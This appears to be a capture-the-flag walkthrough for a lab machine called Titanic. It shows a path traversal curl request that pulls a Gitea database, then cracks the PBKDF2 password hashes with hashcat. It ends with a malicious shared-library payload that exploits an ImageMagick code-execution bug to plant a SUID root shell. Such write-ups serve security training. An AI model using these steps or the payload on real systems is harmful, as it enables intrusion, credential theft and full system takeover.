Page cover

Week 6. Titanic

SUMMARY

This is an Ubuntu 22.04 machine hosting a Gitea server and a web site vulnerable to path traversal. Leveraging this we get access to the Gitea SQLite database, where we find PBKDF2 hashes that we crack to get initial SSH access.

Regarding escalation, we exploit an arbitrary code execution vulnerability affecting ImageMagick 7.1.1-35.

KEYWORDS

Gitea, path traversal, PBKDF2 hashes, ImageMagick 7.1.1-35

ENUMERATION

Port scan.

> for ports in $(nmap $target -p- --min-rate=5000 -Pn --open --reason | grep open | awk -F "/" '{print $1}' | tr '\n' ',' | sed s/,$//); do nmap $target -p$ports -sV -sC -Pn -vv -n && echo "\nList of open ports: $ports";done

Starting Nmap 7.93 ( https://nmap.org )
Nmap scan report for 10.10.11.55
Host is up, received user-set (0.13s latency).
PORT   STATE SERVICE REASON  VERSION
22/tcp open  ssh     syn-ack OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 73039c76eb04f1fec9e980449c7f1346 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBGZG4yHYcDPrtn7U0l+ertBhGBgjIeH9vWnZcmqH0cvmCNvdcDY/ItR3tdB4yMJp0ZTth5itUVtlJJGHRYAZ8Wg=
|   256 d5bd1d5e9a861ceb88634d5f884b7e04 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDT1btWpkcbHWpNEEqICTtbAcQQitzOiPOmc3ZE0A69Z
80/tcp open  http    syn-ack Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://titanic.htb/
|_http-server-header: Apache/2.4.52 (Ubuntu)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
Service Info: Host: titanic.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Nmap done: 1 IP address (1 host up) scanned in 15.26 seconds

List of open ports: 22,80

Add to hosts file and enumerate the web site with Firefox.

If you enumerate a bit the web site you see there is a path traversal in http://titanic.htb/download?ticket, and a Gitea server running in dev.titanic.htb subdomain.

Update the hosts file and browse the Gitea stuff.

In the file flask-app/app.py you can see the API source code, and how the user input is used without sanitization, which is the explanation for the path traversal vulnerability.

Whereas in the docker-config/gitea/docker-compose.yml file we find the path of the default Gitea data directory.

USER

You can ask somewhere, or investigate, where to find Gitea config files when it is running as a Docker container.

Let's start using path traversal vulnerability with the home/developer/gitea/data/gitea/conf/app.ini file. In it we see lots of interesting stuff, for example, location of the SQLite database.

Just download it and inspect its content.

> curl http://titanic.htb/download?ticket=../../../../../../../../home/developer/gitea/data/gitea/gitea.db --output gitea.db
 
> sqlite3 gitea.db
SQLite version 3.39.3 2022-09-05 11:02:23
Enter ".help" for usage hints.

In the user table there are two hashes.

> select name,passwd,salt,passwd_hash_algo from user;
name           passwd                                                        salt                              passwd_hash_algo
-------------  ------------------------------------------------------------  --------------------------------  ----------------
administrator  cba20ccf927d3ad0567b68161732d3fbca098ce886bbc923b4062a3960d4  2d149e5fbd1b20cf31db3e3c6a28fc9b  pbkdf2$50000$50
               59c08d2dfc063b2406ac9207c980c47c5d017136                                                                        
 
developer      e531d398946137baea70ed6a680a54385ecff131309c0bd8f225f284406b  8bf3e3452b78544f8bee9400d6936d34  pbkdf2$50000$50
               7cbc8efc5dbef30bf1682619263444ea594cfb56

In order to crack them, first we convert its format to a Hashcat readable format.

> python3 gitea2hashcat.py "8bf3e3452b78544f8bee9400d6936d34|e531d398946137baea70ed6a680a54385ecff131309c0bd8f225f284406b"
[+] Run the output hashes through hashcat mode 10900 (PBKDF2-HMAC-SHA256)
 
sha256:50000:i/PjRSt4VE+L7pQA1pNtNA==:5THTmJRhN7rqcO1qaApUOF7P8TEwnAvY8iXyhEBr

Now you can safely crack it with Hashcat module 10900.

> hashcat -m 10900 -a 0 -d 1 hash.txt ./rockyou.txt

And use the cracked password to login as developer and collect the user flag.

ROOT

Start from the low-priv shell and take the opportunity to enumerate the user and the system.

> whoami && id
developer
uid=1000(developer) gid=1000(developer) groups=1000(developer)
 
> uname -a && cat /etc/os-release
Linux titanic 5.15.0-131-generic #141-Ubuntu SMP Fri Jan 10 21:18:28 UTC 2025 x86_64 x86_64 x86_64 GNU/Linux
PRETTY_NAME="Ubuntu 22.04.5 LTS"
NAME="Ubuntu"
VERSION_ID="22.04"
VERSION="22.04.5 LTS (Jammy Jellyfish)"
VERSION_CODENAME=jammy
ID=ubuntu
ID_LIKE=debian
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
UBUNTU_CODENAME=jammy

If you enumerate a bit the file system, you find this script /opt/scripts/identify_images.sh

cd /opt/app/static/assets/images
truncate -s 0 metadata.log
find /opt/app/static/assets/images/ -type f -name "*.jpg" | xargs /usr/bin/magick identify >> metadata.log

It seems it is related to application ImageMagick 7.1.1-35.

> /usr/bin/magick --help
Usage: magick tool [ {option} | {image} ... ] {output_image}
Usage: magick [ {option} | {image} ... ] {output_image}
       magick [ {option} | {image} ... ] -script {filename} [ {script_args} ...]
       magick -help | -version | -usage | -list {option}
 
> /usr/bin/magick -version
Version: ImageMagick 7.1.1-35 Q16-HDRI x86_64 1bfce2a62:20240713 https://imagemagick.org
Copyright: (C) 1999 ImageMagick Studio LLC
License: https://imagemagick.org/script/license.php
Features: Cipher DPC HDRI OpenMP(4.5)
Delegates (built-in): bzlib djvu fontconfig freetype heic jbig jng jp2 jpeg lcms lqr lzma openexr png raqm tiff webp x xml zlib
Compiler: gcc (9.4)

Which in turn is vulnerable to arbitrary code execution.

To exploit this vulnerability, just move to the /opt/app/static/assets/images directory and create a suitable C file with your favorite payload.

For example this one.

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
 
__attribute__((constructor)) void init(){
    system("cp /bin/bash /var/tmp/bash && chmod 4755 /var/tmp/bash");
    exit(0);
}

Compile it and wait n minutes till a bash binary with SUID appears in /var/tmp

> gcc -x c -shared -fPIC -o ./libxcb.so.1 - << EOF

Then just spawn a root shell.

You are root.

REFERENCES

https://docs.gitea.com/next/installation/install-with-docker

https://www.unix-ninja.com/p/cracking_giteas_pbkdf2_password_hashes

https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-8rxc-922v-phg8

Last updated